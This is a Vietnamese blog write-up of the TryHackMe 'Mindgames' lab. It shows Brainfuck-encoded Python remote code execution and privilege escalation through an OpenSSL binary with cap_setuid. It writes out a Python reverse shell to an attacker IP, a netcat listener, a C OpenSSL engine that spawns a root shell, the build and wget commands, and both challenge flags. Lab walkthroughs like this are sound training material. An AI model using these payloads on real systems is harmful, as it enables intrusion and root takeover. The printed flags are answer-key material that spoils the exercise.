Tryhackme - Mindgames
Chào mọi người, hôm nay mình sẽ giải machine Mindgames của
Tryhackme. Đây có thể nói là machine tâm đắc nhất của mình, vì đây là lần đầu
tiên mình có thể tự giải một machine mà không cần lời giải của người khác
Đầu tiên ta khởi động
machine và Attackbox:
+ Machine: Nhấn vào Start Machine
+ Attackbox: download .ovpn
file và nhập lệnh: “sudo
openvpn <tên file>.ovpn”
Bonus: file .ovpn ở Access Machine
-> OpenVPN -> download
1)
Thu thập thông tin của nạn nhân:
Đầu tiên ta sẽ xem là machine có những cổng nào đang open,
đang close, cổng nào đáng nghi ngờ hay không:
“nmap -sC -sV <IP-target> ”
Và đây là kết quả ta nhận được:
Ở đây ta thấy đang có hai cổng: cổng ssh và http. Thì theo
như linh cảm của mình thì ssh có thể là thứ giúp chúng ta truy cập vào máy của
nạn nhân.
Và để chắc chắn hơn về điều đó thì ta sẽ xem là web có directory nào thú vị hay không bằng cách ta sẽ sử dụng dirsearch hoặc gobuster để scan (trong bài này mình sẽ sử dụng dirsearch):
Ta có thể thấy mọi đường dẫn ta dò được đều dẫn đến thư mục
gốc, trừ 1 directory tên là main.js
Đây là giao diện của web:
BRUH!!!!!!!!! It’s Brainfuck. Lại là đống kí tự chết tiệt
đó. Và ta thấy ở dưới có một trường để nhập code và ta có hai đoạn mã được
encode sang brainfuck là Hello, World và Fibonacci. Giờ mình sẽ thử decode nó
xem nó là gì và có giúp ích gì cho mình hay không
Ở đây mình sẽ sử dụng trang này để decode: https://www.splitbrain.org/static/ook/
và ta nhận được hai kết quả:
Và ở đây ta nhận thấy 1 điều rằng là các đoạn mã này đều được viết bằng ngôn ngữ Python, và theo như linh cảm thì bài này sẽ liên quan đến RCE, và bây giờ để chắc chắn hơn ta sẽ chạy thử những đoạn brainfuck xem kết quả trả về là gì, và đây chính là kết quả:
Ta nhận thấy nó đều in ra output của từng đoạn script, vậy thì rõ ràng rồi, web này đã dính RCE và ta hoàn toàn có thể thực thi lệnh ở trên đó, và bây giờ mình sẽ tạo một reverse shell bằng Python và encode sang brainfuck để thu được shell trên server của nó
Ở đây ta sẽ sử dụng ngôn ngữ Python để tạo payload và exploit:
import socket
import subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.4.51.127",4444))
subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())
Tiếp theo ta sẽ tạo kết nối đến port 4444 bằng netcat: nc -lvnp 4444
Sau khi ta đã encode đoạn code Python sang brainfuck thì ta chỉ việc dán nó vào ô nhập trong web của nó và đây là kết quả thu được:
Tuyệt vời, ta đã xâm nhập được vào
hệ thống của nó
Ta dễ dàng tìm được Flag đầu tiên:
cat
/home/mindgames/user.txt: thm{411f7d38247ff441ce4e134b459b6268}
Câu tiếp theo cũng là câu cuối
cùng, đó là tìm root.txt
Đến đây mình đã thử rất nhiều
phương pháp khác nhau:
+ sudo -l
+ Kiểm tra các file /etc/passwd
hay /etc/crontab
+ find / -type f -perm -u=s
2>/dev/null
nhưng tất cả đều không được. Và đến
lúc này mình vô cùng tuyệt vọng, tưởng rằng mình sẽ thất bại nhưng không, vô
tình một anh mình quen đã nhắc đến từ capabilities, và lúc đó mình đã nhớ ngay
có 1 tip nữa để có thể leo thang đặc quyền và cách leo thang này khá là hiếm
Ngay lúc này mình sử dụng command:
getcap -r / 2>/dev/null.
Và đây là kết quả:
Perfect. Ta thấy ở dòng thứ hai là
/usr/bin/openssl =
cap_setuid+ep. Điều này đồng nghĩa với việc ta có thể sử dụng openssl để
set uid và leo thang. Vậy ta sẽ leo thang như nào, thì đây chính là phương
pháp:
-
Đầu tiên mình sẽ tạo 1 đoạn script viết bằng
ngôn ngữ C (nếu như chưa có thư viện openssl/engine.h thì ta sẽ cài bằng
command: sudo apt-get
install libssl-dev):
#include
<openssl/engine.h>
static int bind(ENGINE *e, const
char *id)
{
setuid(0); setgid(0);
system("/bin/bash");
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
-
Tiếp theo ta sẽ compile đoạn mã này bằng hai
command:
gcc -fPIC -o openssl-exploit-engine.o -c
openssl-exploit-engine.c
gcc -shared -o
openssl-exploit-engine.so -lcrypto openssl-exploit-engine.o
Bước tiếp theo
ta sẽ khởi tạo listener bằng command: python3 -m http.server 80 để tạo đường dẫn
giữa máy mình và máy nó, ta chuyển file có đuôi .so từ local sang target:
wget
10.4.51.127/openssl-exploit-engine.so (ở đây địa chỉ IP máy của mình để
chơi Tryhackme là 10.4.51.127)
Và bước cuối
cùng rất đơn giản ta sẽ chạy lệnh sau: openssl req -engine ./openssl-exploit-engine.so
Và yeah, ta đã
leo thang thành công, nhiệm vụ bây giờ rất đơn giản là ta sẽ đọc file root.txt:
cat /root/root.txt
Flag2: thm{1974a617cc84c5b51411c283544ee254}
Và đây chính là cách mình đã giải challenge Mindgames của Tryhackme, và đây có thể nói là challenge mình tâm đắc nhất từ trước đến nay. Cảm ơn Tryhackme đã tạo nên 1 sân chơi vô cùng bổ ích với nhiều kiến thức hay. Hẹn gặp lại mọi người ở những bài writeup tiếp theo.
Nhận xét
Đăng nhận xét